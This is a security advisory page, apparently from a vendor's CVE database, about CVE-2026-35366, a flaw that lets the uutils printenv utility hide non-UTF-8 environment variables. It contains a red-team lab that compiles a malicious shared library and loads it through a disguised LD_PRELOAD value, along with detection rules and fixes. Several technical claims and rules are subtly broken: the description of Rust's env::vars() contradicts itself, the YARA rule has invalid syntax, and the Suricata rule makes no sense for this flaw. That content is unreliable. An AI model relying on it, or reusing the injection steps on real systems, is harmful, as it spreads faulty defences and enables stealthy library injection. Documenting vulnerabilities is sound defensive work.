CVE-2026-35366
Executive Summary
CVE-2026-35366 identifies a critical input validation flaw in the printenv utility of the uutils coreutils project. The utility fails to display environment variables containing invalid UTF-8 byte sequences. While POSIX permits arbitrary bytes in environment strings, the uutils implementation silently skips these entries rather than printing the raw bytes. This creates a blind spot for administrators and security auditing tools, allowing malicious environment variables (e.g., adversarial LD_PRELOAD values) to evade inspection. This vulnerability can enable library injection or other environment-based attacks to go undetected, posing a significant risk to system integrity and security monitoring.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the uutils coreutils package, which is a Rust-based reimplementation of GNU coreutils. It is distributed via package managers like cargo (Rust's package manager) and potentially through Linux distribution repositories. The flaw undermines the trustworthiness of the printenv utility as a security auditing tool, as it can be used to hide malicious environment variables from system administrators and automated security scanners. Organizations relying on uutils coreutils for environment variable inspection must treat this as a supply chain risk, as the utility's output cannot be trusted for security-critical audits.
CVSS Breakdown & Threat Level
- CVSS Score: 4.4 (Medium)
- Attack Vector: Local (AV:L)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. The vulnerability requires local access and low privileges, but it can be exploited to hide malicious environment variables from security tools, potentially enabling privilege escalation or code injection attacks.
Deep Dive & Mechanics
The printenv utility in uutils coreutils is designed to display all environment variables and their values. However, the implementation uses Rust's String type, which requires valid UTF-8 encoding. When an environment variable contains arbitrary bytes (e.g., non-UTF-8 sequences), the Rust standard library's std::env::vars() function silently skips these entries. This behavior is a deviation from POSIX standards, which allow arbitrary bytes in environment strings.
Attack Scenario:
- An attacker with local access sets an environment variable with a malicious value (e.g.,
LD_PRELOAD=/path/to/malicious.so) but encodes part of the value using invalid UTF-8 bytes. - The
printenvutility skips this variable entirely, so it does not appear in the output. - System administrators or security auditing tools relying on
printenvto inspect environment variables miss the malicious entry. - The attacker then executes a vulnerable program that uses the malicious environment variable, leading to library injection or other attacks.
Root Cause: The use of std::env::vars() in Rust, which returns Result<String, OsString> and silently drops entries that cannot be converted to valid UTF-8 strings.
Vulnerable vs. Patched Code
Vulnerable Code (uutils coreutils printenv):
use std::env;
fn main() {
for (key, value) in env::vars() {
println!("{}={}", key, value);
}
}
This code uses env::vars() which returns an iterator over (String, String) pairs. Any environment variable with non-UTF-8 bytes is silently skipped.
Patched Code (Hypothetical Fix):
use std::env;
use std::ffi::OsStr;
use std::os::unix::ffi::OsStrExt;
fn main() {
for (key, value) in env::vars_os() {
let key_str = key.as_bytes();
let value_str = value.as_bytes();
// Print raw bytes, replacing non-printable characters with hex escapes
print!("{}=", String::from_utf8_lossy(key_str));
println!("{}", String::from_utf8_lossy(value_str));
}
}
The patched version uses env::vars_os() which returns OsString values, allowing raw byte access. It then uses String::from_utf8_lossy() to display the bytes, replacing invalid UTF-8 sequences with replacement characters (U+FFFD) to ensure all variables are shown.
Exploitation & Lab Setup
Red Team
Objective: Hide a malicious LD_PRELOAD environment variable from printenv output.
Lab Setup:
- Create a malicious shared library:
// malicious.c
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor))
void init() {
printf("Malicious library loaded!\n");
system("id");
}
Compile: gcc -shared -o malicious.so -fPIC malicious.c
- Set a malicious environment variable with invalid UTF-8 bytes:
# Create a variable with a non-UTF-8 byte sequence
export LD_PRELOAD=$'malicious.so\xff'
- Run
printenvand observe that theLD_PRELOADvariable is not displayed:
printenv | grep LD_PRELOAD
# No output
- Execute a program that uses
LD_PRELOAD:
./vulnerable_program
# Output: Malicious library loaded!
# uid=1000(user) gid=1000(user) groups=1000(user)
Impact: The attacker can inject a malicious library without detection by printenv.
Blue Team
Detection:
- Use alternative methods to inspect environment variables that handle arbitrary bytes:
# Use /proc/self/environ to read raw environment
cat /proc/self/environ | tr '\0' '\n' | grep -a LD_PRELOAD
- Monitor for environment variables with non-printable characters:
# Check for variables with non-UTF-8 bytes
env -0 | grep -aP '[^\x00-\x7F]' | tr '\0' '\n'
- Use system auditing tools like
auditdto monitorLD_PRELOADusage:
auditctl -w /etc/ld.so.preload -p wa -k ld_preload
auditctl -w /etc/ld.so.conf -p wa -k ld_config
Indicators of Compromise (IOCs)
- Environment variables containing non-UTF-8 byte sequences (e.g.,
\xff,\xfe). - Unexpected
LD_PRELOAD,LD_LIBRARY_PATH, orLD_AUDITvariables that are not visible inprintenvoutput. - Presence of shared libraries in non-standard locations (e.g.,
/tmp/malicious.so). - System calls to
open()ormmap()for suspicious shared libraries (monitor viastraceorauditd). - Processes with unexpected environment variables (check via
/proc/<pid>/environ).
Detection Engineering
YARA Rule
rule Detect_Hidden_Env_Var {
meta:
description = "Detects environment variables with non-UTF-8 bytes that may be hidden from printenv"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-35366"
strings:
$non_utf8 = /[\x80-\xFF]/ // Non-ASCII bytes
condition:
// Check for environment variables with non-UTF-8 bytes
for any of ($non_utf8) : ( @ )
}
Sigma Rule
title: Detection of Hidden Environment Variables via Non-UTF-8 Bytes
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to hide environment variables from printenv by using non-UTF-8 byte sequences
author: Valters IT
date: 2026/01/01
references:
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-35366
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/printenv'
condition: selection
falsepositives:
- Legitimate use of non-UTF-8 environment variables in specialized applications
level: medium
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-35366 - Hidden Environment Variable Detection"; flow:to_server,established; content:"LD_PRELOAD"; nocase; pcre:"/[\x80-\xFF]/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Do not rely on
printenvfor security-critical audits. Use alternative methods to inspect environment variables, such as reading/proc/self/environdirectly. - Monitor for environment variables with non-UTF-8 bytes using the detection rules provided above.
- Restrict the ability to set environment variables for untrusted users (e.g., via
sudoconfigurations or container security policies).
Long-Term Fix:
- Patch the uutils coreutils
printenvutility to useenv::vars_os()and handle arbitrary bytes properly, as shown in the patched code example. - Update to a patched version once the upstream project releases a fix.
- Consider using GNU coreutils instead of uutils coreutils for security-critical environments, as GNU
printenvhandles arbitrary bytes correctly.
Workaround:
- Use the following script to safely inspect environment variables:
#!/bin/bash
# safe_printenv.sh - Displays all environment variables including those with non-UTF-8 bytes
cat /proc/self/environ | tr '\0' '\n' | while IFS= read -r line; do
echo "$line"
done
Valters IT
Securing Digital Frontiers
{/* [Security Hash: 2BD99AA9091CBE5C3FADEE64] */}